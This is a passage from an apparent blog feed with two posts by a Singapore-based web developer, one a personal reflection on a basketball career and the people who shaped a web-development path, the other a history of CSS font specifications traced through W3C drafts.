&lt;p&gt;When it was my turn, it was a no-brainer. Now, I&apos;m nowhere near as brilliant as my sister, but I got by reasonably well, so a good degree from NUS (National University of Singapore) was probably in the works for me. No thank you, basketball for me, please.&lt;/p&gt;
&lt;h2&gt;The basketball-related people&lt;/h2&gt;
&lt;p&gt;Basketball is the most influential thing in my life, because it gave me so much more than an ability to dribble and shoot a ball. It taught me life lessons that would take most people decades to learn, it brought me friends that are essentially family at this point and it gave me opportunities many others never get.&lt;/p&gt;
&lt;p&gt;I have a coach who has known me since I was thirteen, so she practically watched me grow up. And the best compliment she ever gave me was not about how many points I scored, or how well I played. She told me, and I&apos;ll hold on to this forever, that I finally got over myself. That&apos;s the best thing anyone could have ever said to me.&lt;/p&gt;
&lt;p&gt;My first experience with the web came about while I was still training full time with the national team back in 2008. The coach trusted me enough and gave me free reign to do whatever I wanted for the association website. And that&apos;s how I realised I actually enjoyed doing this stuff. It never felt like work to me.&lt;/p&gt;
&lt;h2&gt;The first job&lt;/h2&gt;
&lt;p&gt;After I left the team, I got my first job, at a consulting firm. We&apos;d landed a big contract with a major bank and I was thrust head-first into a multi-million dollar project that had a lot of people&apos;s jobs at stake.&lt;/p&gt;
&lt;p&gt;Of course, I was too young and stupid to be aware of that and just soaked everything in. My boss was very competent and knew exactly how to get things done, though he may have stepped on quite a few toes along the way.&lt;/p&gt;
&lt;p&gt;If there was anything I learnt during my years on a basketball team, it was that rookies paid their dues and kept their mouths shut until we proved we were capable of making positive contributions to the team.&lt;/p&gt;
&lt;p&gt;That worked out extremely well for me, as I witnessed first-hand how high-stakes corporate environments really worked. It was great, like swimming with the sharks, but in a protective cage. In spite of his abrasive manner, my boss protected his own people, and I truly appreciated that, more so now that I&apos;m older.&lt;/p&gt;
&lt;h2&gt;The first web-related job&lt;/h2&gt;
&lt;p&gt;The next big decision was to come back to Singapore. At the time, I had flirted with the idea that maybe I&apos;d stay on in Malaysia, and continue on with this consulting thing. But pragmatism probably kicked in and I decided to return south. I think my parents were secretly happy I did, though they never mentioned it.&lt;/p&gt;
&lt;p&gt;I really agree with Ellen Degeneres&apos; response to Julie Bowen when she said she couldn&apos;t imagine how her life would have been had she not done Modern Family:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It would be different, but it would be just as good in a different way.&lt;br&gt;
— Ellen Degeneres&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;My life would have been very different, maybe not better or worse, but different.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.pixelonion.com/&quot;&gt;Pixel Onion&lt;/a&gt; was the company that took a chance on me. I was barely qualified, having only slapped together two websites before, but I guess I was convincing enough during the interview. It was there that I learnt good habits, like coding standards, responsible git commenting, never hacking core (this is a Drupal thing) and writing code in a team setting. I met my very good friend, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell&lt;/a&gt;, there as well.&lt;/p&gt;
&lt;p&gt;Zell is a special human being. And I love that in web development age, he is one year ahead of me. Let me explain. He started his web development career one year before I did, and while we were working together, he was basically my training wheels while I was still figuring out what was going on. This may be largely one-sided, but I have taken it upon myself to be his “hype man”, because he doesn&apos;t think he&apos;s as awesome as he actually is.&lt;/p&gt;
&lt;h2&gt;The Twitter people&lt;/h2&gt;
&lt;p&gt;I started writing blog posts for my own personal benefit, because I needed some way to document code and stuff for future reference. When I started there was no actual blog, so maybe they were more like notes. But I finally hunkered down and built my own website, so they evolved into blog posts from then on.&lt;/p&gt;
&lt;p&gt;Because I was such a noob at web development, I desperately wanted to catch up. Went the whole nine yards, really. Subscribing to RSS feeds for web development blogs that I read every day, reading books, going through multiple online courses from Codeacademy to Codeschool to Treehouse, and listening to podcasts, lots of podcasts.&lt;/p&gt;
&lt;p&gt;One of my favourites is &lt;a href=&quot;http://thewebahead.net/&quot;&gt;The Web Ahead&lt;/a&gt; by &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;. There was just something about her ideas and opinions that resonated with me. So I had just listened to her chat with &lt;a href=&quot;https://boagworld.com/&quot;&gt;Paul Boag&lt;/a&gt; about CSS shapes and that somehow compelled me to write around 1500 words on how awesome they were. I also wrote her a “thank you for inspiring me” note, you know, because that&apos;s not weird at all &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;And now I actually chat with Jen semi-regularly about design, the web, life and it&apos;s amazing (to me, at least). That CSS shapes article was the first thing I wrote that got some traction, and it wasn&apos;t even planned. The words practically wrote themselves. I&apos;ve since continued to write about whatever tickles my fancy, but nothing does that more than CSS anyway.&lt;/p&gt;
&lt;p&gt;I&apos;ve also made friends with so many wonderful people on Twitter, who share my love for web development, CSS and typography, like &lt;a href=&quot;https://pixelambacht.nl/&quot;&gt;Roel Nieskens&lt;/a&gt;, &lt;a href=&quot;https://w3ctech.com/&quot;&gt;裕波&lt;/a&gt; and many many more.&lt;/p&gt;
&lt;h2&gt;The writing&lt;/h2&gt;
&lt;p&gt;The first article I wrote for an external publication was &lt;a href=&quot;https://alistapart.com/article/using-responsive-images-now&quot;&gt;Using Responsive Images (Now)&lt;/a&gt; for &lt;a href=&quot;https://alistapart.com/&quot;&gt;A List Apart&lt;/a&gt;. I would never have thought about submitting until &lt;a href=&quot;http://www.maban.co.uk/&quot;&gt;Anna Debenham&lt;/a&gt; encouraged me to give it a shot. Again, this was a reply from a thank you note I wrote to her. Look, I like telling people they&apos;re awesome when they create stuff that benefit me, like blog posts and podcasts, for no charge at all!&lt;/p&gt;
&lt;p&gt;I do help out &lt;a href=&quot;https://twitter.com/crnacura&quot;&gt;Manoela Ilic&lt;/a&gt; AKA &lt;a href=&quot;https://tympanus.net/codrops/author/crnacura/&quot;&gt;Mary Lou&lt;/a&gt; with the Codrops CSS reference as well. Her reaching out to me to write for the CSS reference is one of the best things ever, because it gave me the motivation to deep dive into the various CSS specifications and learn things I probably wouldn&apos;t have otherwise. I&apos;m pretty sure I wouldn&apos;t know as much about CSS grid if I hadn&apos;t wrote the reference entry for it.&lt;/p&gt;
&lt;h2&gt;The speaking&lt;/h2&gt;
&lt;p&gt;All that writing led to my first meetup talk, which was at &lt;a href=&quot;https://www.meetup.com/Singapore-JS/&quot;&gt;talk.JS&lt;/a&gt;, because &lt;a href=&quot;https://sayan.ee/&quot;&gt;Sayanee Basu&lt;/a&gt; thought I ought to talk about the article that I wrote on responsive images. Public speaking was never much of an issue for me, to be honest. I attribute it to my thick skin and act-first-worry-later attitude to life &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;On a whim, &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris Lienert&lt;/a&gt; and I decided to launch a meetup centred around CSS, since nothing of the sort existed at the time. It was sort of a sister meetup to talk.JS so we named it Talk.CSS. Look, naming things is hard.&lt;/p&gt;
&lt;p&gt;I do go out to other web development meetups when I can, and got to know a bunch of incredible people. One of them being &lt;a href=&quot;https://twitter.com/sebdeckers&quot;&gt;Sebastian Deckers&lt;/a&gt;, who asked me to be a guest speaker at the web development course he was teaching at &lt;a href=&quot;https://generalassemb.ly/locations/singapore&quot;&gt;General Assembly&lt;/a&gt; at the time. That led to me teaching a couple of workshops on HTML and CSS, which was eye-opening because giving a talk and conducting a workshop are quite different experiences.&lt;/p&gt;
&lt;p&gt;If you come to a web development meetup in Singapore, you will not fail to notice the crew of videographers recording every talk. In the early days, it was a one-man-show by &lt;a href=&quot;http://coderkungfu.com/&quot;&gt;Michael Cheng&lt;/a&gt;, and now it has grown into a team of dedicated volunteers that form the core of &lt;a href=&quot;https://engineers.sg/&quot;&gt;Engineers.sg&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Through Michael, I met &lt;a href=&quot;http://elishatan.com/&quot;&gt;Elisha Tan&lt;/a&gt;, the spunky founder of &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt;, who didn&apos;t know me well enough at the time to realise how nonsensical I could be when she asked me to be part of a panel at her inaugural TechLadies launch party.&lt;/p&gt;
&lt;p&gt;Fortunately, I wasn&apos;t as bad a trainwreck as I expected, as Elisha found me decent enough to hold a number of introductory front-end development workshops for TechLadies as well. I now see myself as one of her minions &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;The web development conferences&lt;/h2&gt;
&lt;p&gt;The first web development conference I ever attended was &lt;a href=&quot;http://2014.formfunctionclass.com/&quot;&gt;Form, Function, Class 5&lt;/a&gt;, in Manila, which I strong-armed Zell to go with me. It was a wonderful experience. The organisers, PWDO, are incredibly warm and friendly, and the conference was very well run. I also managed to convince Pixel Onion to pay for my ticket to &lt;a href=&quot;https://2014.cssconf.asia/&quot;&gt;CSSConf.Asia 2014&lt;/a&gt; and that was brilliant too.&lt;/p&gt;
&lt;p&gt;So I now had a two-for-two positive experience at web conferences and really wanted to attend more. The following year, Zell was in charge of building the website for &lt;a href=&quot;https://2015.cssconf.asia/&quot;&gt;CSSConf.Asia 2015&lt;/a&gt; and suggested to &lt;a href=&quot;https://twitter.com/serrynaimo&quot;&gt;Thomas Gorissen&lt;/a&gt;, organiser of &lt;a href=&quot;http://CSSConf.Asia&quot;&gt;CSSConf.Asia&lt;/a&gt; and &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt;, that I would make a decent host. I added that I was also an useful source of manual labour, good for doing registration and carrying heavy objects. Hey, all that athletic training has some real-world benefits .&lt;/p&gt;
&lt;p&gt;That was Zell&apos;s first conference talk, and he was great. I had great time as the host, because I had a front-row seat to a star-studded line-up, became friends with another wonderful human being and fellow Malaysian, &lt;a href=&quot;https://aysha.me/&quot;&gt;Aysha Anggraini&lt;/a&gt;. Plus, I didn&apos;t have to pay for a ticket. Things went full circle for &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia 2016&lt;/a&gt; when I gave my very first conference talk with Zell and Aysha hosting the event this time.&lt;/p&gt;
&lt;p&gt;Being involved with conference organisation actually puts you in closer contact with the speakers, and I got the chance to chat with them, which was great. I&apos;m quite sure I was a little star-struck but I was all chill on the outside &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;. We even managed to get &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt; to be part of Talk.CSS when she was here. &lt;em&gt;#crowningachievement&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The overseas conferences&lt;/h2&gt;
&lt;p&gt;And then I met a superwoman, &lt;a href=&quot;http://www.imakewebsites.hk/&quot;&gt;Charis Rooda&lt;/a&gt;, who put together an exceptional inaugural &lt;a href=&quot;https://webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt; with her team, hours and hours of work that culminated into a successful conference. She gave me an opportunity to stand in front of more than a hundred people to talk about a topic that I was really passionate about. Plus front-row seats to top-notch talks by people I really respect.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pepelsbey.net/&quot;&gt;Vadim Makeev&lt;/a&gt;, organiser of pitercss, also thought my talk would work in his line-up and was willing to fly me kilometres to Saint Petersberg, Russia for it. I never thought I&apos;d get an opportunity to even go to that part of the world, but here we are.&lt;/p&gt;
&lt;h2&gt;A village got me here&lt;/h2&gt;
&lt;p&gt;I can&apos;t really put into words how grateful I am for every person who took a chance on me, who gave me encouragement and opportunities to show what I could do. And there are so many more people I haven&apos;t mentioned, especially the group of guys I have had the privilege of working with for the past year and a half. But that requires a separate blog post to do them justice so I&apos;ll leave that for another time.&lt;/p&gt;
&lt;p&gt;It is a privilege to be able to do what I do, to create stuff for the web, to share what I learnt with others, to have the choice to do something that makes me happy on a daily basis. If you made it this far, I&apos;m thankful that you indulged my naval-gazing so here&apos;s a doughnut emoji &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;doughnut&quot;&gt;🍩&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Much love &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Tracing the history of CSS fonts</title><link>https://chenhuijing.com/blog/tracing-the-history-of-css-fonts/</link><guid isPermaLink="true">https://chenhuijing.com/blog/tracing-the-history-of-css-fonts/</guid><description>I love a good origin story, like the origin of Batman in Detective Comics #33, or Kate Kane (the modern version, introduced in 52, not the 1956 one). It gives…</description><pubDate>Wed, 10 May 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I love a good origin story, like the origin of Batman in Detective Comics #33, or Kate Kane (the modern version, introduced in 52, not the 1956 one). It gives us greater insight into the motivations and characteristics of any particular thing, be it a character or a specification. Segue! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;As part of my perpetual obsession with typography, as well as CSS, I&apos;ve been looking into how we got to having more web fonts than we can shake a stick at. What I love about how the W3C does things is that there are always links to previous versions of the specification, all the way back to the first drafts.&lt;/p&gt;
&lt;p&gt;Although those are missing the full picture of the various discussions and meetings among all the individuals involved in crafting and implementing the specifications, it does offer some clues to how things got to where there are.&lt;/p&gt;
&lt;h2&gt;The many levels of CSS&lt;/h2&gt;
&lt;p&gt;You know how sometimes when you fill in your profile for job sites, or some code-related profiles, and they ask what your area of expertise is? Some of those fields are free-form taxonomies and you can see people making a distinction between HTML and HTML5, or CSS and CSS3, as if you need to underscore the point that you are oh-so-current by declaring the “latest” version number?&lt;br&gt;
&lt;small&gt;&lt;em&gt;*at point of writing, emoji of my go-to IRL face of one eyebrow raised is not released yet, please imagine how my face looks*&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;When CSS started out, there was CSS1 and CSS2 (subsequently, CSS2.1 and CSS2.2). So the impression is that CSS has versions, like software, which increment as each new version gets released. That&apos;s not exactly how it works though. Yes, CSS1 and CSS2 were monolithic specifications that covered every CSS property we had, but somewhere along the lines, a decision was made to modularise the specifications.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The advantages of doing so are outlined in the &lt;a href=&quot;https://www.w3.org/TR/2000/WD-css3-roadmap-20000414&quot;&gt;first working draft of the CSS3 roadmap&lt;/a&gt; published on 14 April 2000, written by &lt;a href=&quot;http://meyerweb.com/&quot;&gt;Eric A. Meyer&lt;/a&gt; (yes, THE &lt;a href=&quot;https://twitter.com/meyerweb&quot;&gt;@meyerweb&lt;/a&gt; we know and love).&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;To help &lt;strong&gt;clarify the relationships&lt;/strong&gt; between the different parts of the specification&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;To &lt;strong&gt;reduce the size&lt;/strong&gt; of the complete document&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;To allow &lt;strong&gt;specific tests&lt;/strong&gt; to be built on a per module basis&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;To help implementers decide which portions of CSS to &lt;strong&gt;support&lt;/strong&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;To make it possible for individual modules to be &lt;strong&gt;updated as needed&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;To allow for a more &lt;strong&gt;flexible and timely&lt;/strong&gt; evolution of the specification as a whole&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By the next revision of the Working Draft in &lt;a href=&quot;https://www.w3.org/TR/2001/WD-css3-roadmap-20010119/&quot;&gt;19 January 2001&lt;/a&gt;, there was a breakdown of the entire document into 26 modules, and a lot more work went into refining the roadmap to &lt;a href=&quot;https://www.w3.org/TR/css3-roadmap/&quot;&gt;the version we have right now&lt;/a&gt;. The roadmap is currently maintained by &lt;a href=&quot;http://www.xanthir.com/blog/&quot;&gt;Tab Atkins Jr.&lt;/a&gt;, &lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Elika J. Etemad A.K.A fantasai&lt;/a&gt; and &lt;a href=&quot;https://florian.rivoal.net/&quot;&gt;Florian Rivoal&lt;/a&gt;, and the full list of CSS specifications by module is available on the &lt;a href=&quot;https://www.w3.org/Style/CSS/current-work&quot;&gt;CSS specifications page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Rachel Andrew wrote a concise and informative explanation of &lt;a href=&quot;https://rachelandrew.co.uk/archives/2016/09/13/why-there-is-no-css4-explaining-css-levels/&quot;&gt;why there is no CSS4&lt;/a&gt;, but here&apos;s the explanation stated in the CSS Snapshot:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is no CSS Level 4. Independent modules can reach level 4 or beyond, but CSS the language no longer has levels. (&amp;quot;CSS Level 3&amp;quot; as a term is used only to differentiate it from the previous monolithic versions.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Evolution of a CSS specification&lt;/h2&gt;
&lt;p&gt;CSS specifications do not just magically appear out of thin air. There is a lengthy process with numerous passes before a specification is finalised and becomes a formal standard, or W3C Technical Report, for implementers and authors to reference. Details are covered in the &lt;a href=&quot;https://www.w3.org/Consortium/Process/#Reports&quot;&gt;W3C Technical Report Development Process&lt;/a&gt;, but here&apos;s a general overview.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;According to the guidelines, the W3C follows these steps when advancing a technical report to Recommendation.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Publication of the First Public Working Draft,&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Publication of zero or more revised Public Working Drafts.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Publication of a Candidate Recommendation.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Publication of a Proposed Recommendation.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Publication as a W3C Recommendation.&lt;/li&gt;
  &lt;li&gt;Possibly, Publication as an Edited Recommendation&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Working Draft (WD)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;A Working Draft is a document that W3C has published for review by the community, including W3C Members, the public, and other technical organizations.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Candidate Recommendation (CR)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;A Candidate Recommendation is a document that satisfies the Working Group&apos;s technical requirements, and has already received wide review.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Proposed Recommendation&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;A Proposed Recommendation is a document that has been accepted by the W3C Director as of sufficient quality to become a W3C Recommendation.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;W3C Recommendation (REC)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;A W3C Recommendation is a specification or set of guidelines or requirements that, after extensive consensus-building, has received the endorsement of W3C Members and the Director. W3C recommends the wide deployment of its Recommendations as standards for the Web.&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Chasing CSS fonts back in time&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/REC-CSS1-961217#font-properties&quot;&gt;17 December 1996&lt;/a&gt; - &lt;strong&gt;CSS1 W3C Recommendation&lt;/strong&gt;&lt;br&gt;
A small section, 5.2, which explains how font matching should be done and defines the initial set of 5 font properties, &lt;code&gt;font-family&lt;/code&gt;, &lt;code&gt;font-style&lt;/code&gt;, &lt;code&gt;font-variant&lt;/code&gt;, &lt;code&gt;font-weight&lt;/code&gt; and &lt;code&gt;font-size&lt;/code&gt;, as well as the shorthand &lt;code&gt;font&lt;/code&gt;. The next version, &lt;a href=&quot;https://www.w3.org/TR/1999/REC-CSS1-19990111#font-properties&quot;&gt;11 Jan 1999&lt;/a&gt;, of the specification did not add much and this was pretty much what formed the basis of CSS fonts for CSS1 when it became a formal recommendation on &lt;a href=&quot;https://www.w3.org/TR/REC-CSS1/#font-properties&quot;&gt;17 Dec 1996&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/WD-font-970721&quot;&gt;21 July 1997&lt;/a&gt; - &lt;strong&gt;Web fonts Working Draft&lt;/strong&gt;&lt;br&gt;
A separate group in the W3C (this is my inference, but if I get the chance to talk to &lt;a href=&quot;http://svgees.us/&quot;&gt;Chris Lilley&lt;/a&gt; again, I will clarify this) was formed to develop web fonts. It was meant to extend on the CSS1 font model by allowing font descriptions to be added to a style sheet. “The font descriptions consist of a set of font descriptors, individual pieces of information about a font, possibly including a URL where the font can be downloaded.”&lt;br&gt;
&lt;small&gt;&lt;em&gt;*There is an earlier version published on 10 July 1997 but it&apos;s W3C members-only access.*&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/WD-CSS2-971104/fonts.html&quot;&gt;04 November 1997&lt;/a&gt; - &lt;strong&gt;CSS2 Working Draft&lt;/strong&gt;&lt;br&gt;
In CSS2, the fonts section (section 14) had expanded quite a bit. In addition to everything included in CSS1, generic font families were added. The font selection mechanism was extended, including intelligent matching, synthesis, and downloadable fonts. Generally whatever was in the web fonts module we talked about above.&lt;br&gt;
System fonts were now a thing. And there was also this very detailed section on font characteristics, which were not specific to CSS per se, and could be mapped onto VRML (Virtual Reality Modeling Language) nodes, CGM (Computer Graphics Metafile) Application Structures or alternative stylesheet languages. Things pretty much held constant over the next 2 versions, &lt;a href=&quot;https://www.w3.org/TR/1998/WD-css2-19980128/fonts.html&quot;&gt;28 Jan 1998&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/TR/1998/PR-CSS2-19980324/fonts.html&quot;&gt;24-Mar-1998&lt;/a&gt;. CSS2 became a formal recommendation on &lt;a href=&quot;https://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html&quot;&gt;12-May-1998&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/2001/WD-css3-fonts-20010731/&quot;&gt;31 July 2001&lt;/a&gt; - &lt;strong&gt;CSS3 Fonts Working Draft&lt;/strong&gt;&lt;br&gt;
As part of the &lt;a href=&quot;https://www.w3.org/Style/Activity&quot;&gt;CSS Style activity&lt;/a&gt;, the original CSS2 authors, together with &lt;a href=&quot;http://tantek.com/&quot;&gt;Tantek Çelik&lt;/a&gt;, Marcin Sawicki, &lt;a href=&quot;https://www.linkedin.com/in/michel-suignard-6901b0/&quot;&gt;Michel Suignard&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/steve-zilles-4b18033/&quot;&gt;Steve Zilles&lt;/a&gt; wrote the first Working Draft of the CSS3 fonts module. It was stated that the module was dependent on two other CSS3 modules, Web Fonts and Text. It covered font matching, and the list of font properties.&lt;br&gt;
&lt;small&gt;&lt;em&gt;*I&apos;m probably going to chase the CSS3 text module next, so stay tuned*&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/2002/WD-CSS21-20020802/fonts.html&quot;&gt;2 August 2002&lt;/a&gt; - &lt;strong&gt;CSS2.1 Working Draft&lt;/strong&gt;&lt;br&gt;
The first revision of CSS2 (aka CSS2.1) was meant to correct errors in the CSS2 specification as well as remove features that were unwanted or obsoleted by CSS3. In this version, there were substantial cuts to the fonts section, with only the bits about font matching and font properties remaining. The removed bits went to the CSS3 Web Fonts module. Web fonts were dropped in this version and here&apos;s the explanation from the &lt;a href=&quot;https://www.w3.org/Style/CSS20/history.html&quot;&gt;20th birthday of CSS feature&lt;/a&gt; (those balloons are aces).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;First of all there were few fonts whose copyright allowed them to be distributed. Most fonts could be used to print documents locally, but you weren&apos;t allowed to put them on the Web.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Secondly, Microsoft and Monotype had developed a format called EOT (Embedded OpenType), which contained inside the fonts the names (URLs) of the documents that could be rendered with them. [...] But, the format was proprietary and nobody else but Microsoft could use it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p class=&quot;no-margin&quot;&gt;Nothing much got updated in this section for the next 5 versions, and you&apos;re welcome to verify this for me.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2003/WD-CSS21-20030128/fonts.html&quot;&gt;28 January 2003&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2003/WD-CSS21-20030915/fonts.html&quot;&gt;15 September 2003&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2004/CR-CSS21-20040225/fonts.html&quot;&gt;25 February 2004&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2005/WD-CSS21-20050613/fonts.html&quot;&gt;13 June 2005&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/2006/WD-CSS21-20060411/fonts.html&quot;&gt;11 April 2006&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/2002/WD-CSS21-20020802/fonts.html&quot;&gt;2 August 2002&lt;/a&gt; - &lt;strong&gt;CSS3 Web Fonts Working Draft&lt;/strong&gt;&lt;br&gt;
As mentioned, the cut bits from the CSS2.1 specification went in here, so everything with regards to &lt;code&gt;@font-face&lt;/code&gt; and the font descriptors for font selection, as well as font characteristics could be found in this specification. The extended font matching algorithm was also defined here.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/2002/WD-css3-fonts-20020802/&quot;&gt;2 August 2002&lt;/a&gt; - &lt;strong&gt;CSS3 Fonts Working Draft&lt;/strong&gt;&lt;br&gt;
This was quite a day, as the CSS3 Fonts Working Draft was also updated and now included a section on Font Decoration, with some interesting properties like &lt;code&gt;font-effect&lt;/code&gt;, &lt;code&gt;font-smooth&lt;/code&gt;, &lt;code&gt;font-emphasize-style&lt;/code&gt;, &lt;code&gt;font-emphasize-position&lt;/code&gt; and the &lt;code&gt;font-emphasize&lt;/code&gt; shorthand.&lt;br&gt;
&lt;small&gt;&lt;em&gt;*Spoiler alert: &lt;code&gt;font-effect&lt;/code&gt; has been dropped, and technically doesn&apos;t exist, while others have been moved to other modules*&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2006/WD-CSS21-20061106/fonts.html&quot;&gt;06 November 2006&lt;/a&gt; - &lt;strong&gt;CSS2.1 Working Draft&lt;/strong&gt;&lt;br&gt; 
Finally, some action in the CSS2.1 Working Draft fonts section. The &lt;code&gt;font-family&lt;/code&gt; section expanded with details on generic font families. The five generic font families are &lt;code&gt;serif&lt;/code&gt;, &lt;code&gt;sans-serif&lt;/code&gt;, &lt;code&gt;cursive&lt;/code&gt;, &lt;code&gt;fantasy&lt;/code&gt; and &lt;code&gt;monospace&lt;/code&gt;.&lt;br&gt;
Specifically, it mentions that user agents should provide reasonable default choices, which express the characteristics of each family as well as possible within technical limits. There are also proposed examples of font families to be used for different scripts.&lt;br&gt;
This section does not see any more changes for the next five years, and again, feel free to verify this for me.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2007/CR-CSS21-20070719/fonts.html&quot;&gt;19 July 2007&lt;/a&gt; - CSS2.1 Candidate Recommendation&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2009/CR-CSS2-20090423/fonts.html&quot;&gt;23 April 2009&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2009/CR-CSS2-20090908/fonts.html&quot;&gt;08 September 2009&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2010/WD-CSS2-20101207/fonts.html&quot;&gt;07 December 2010&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2011/PR-CSS2-20110412/fonts.html&quot;&gt;12 April 2011&lt;/a&gt; - CSS2.1 Proposed Recommendation&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/CSS2/fonts.html#q15.0&quot;&gt;07 June 2011&lt;/a&gt; - CSS2.1 W3C Recommendation&lt;/li&gt;
&lt;/ul&gt;
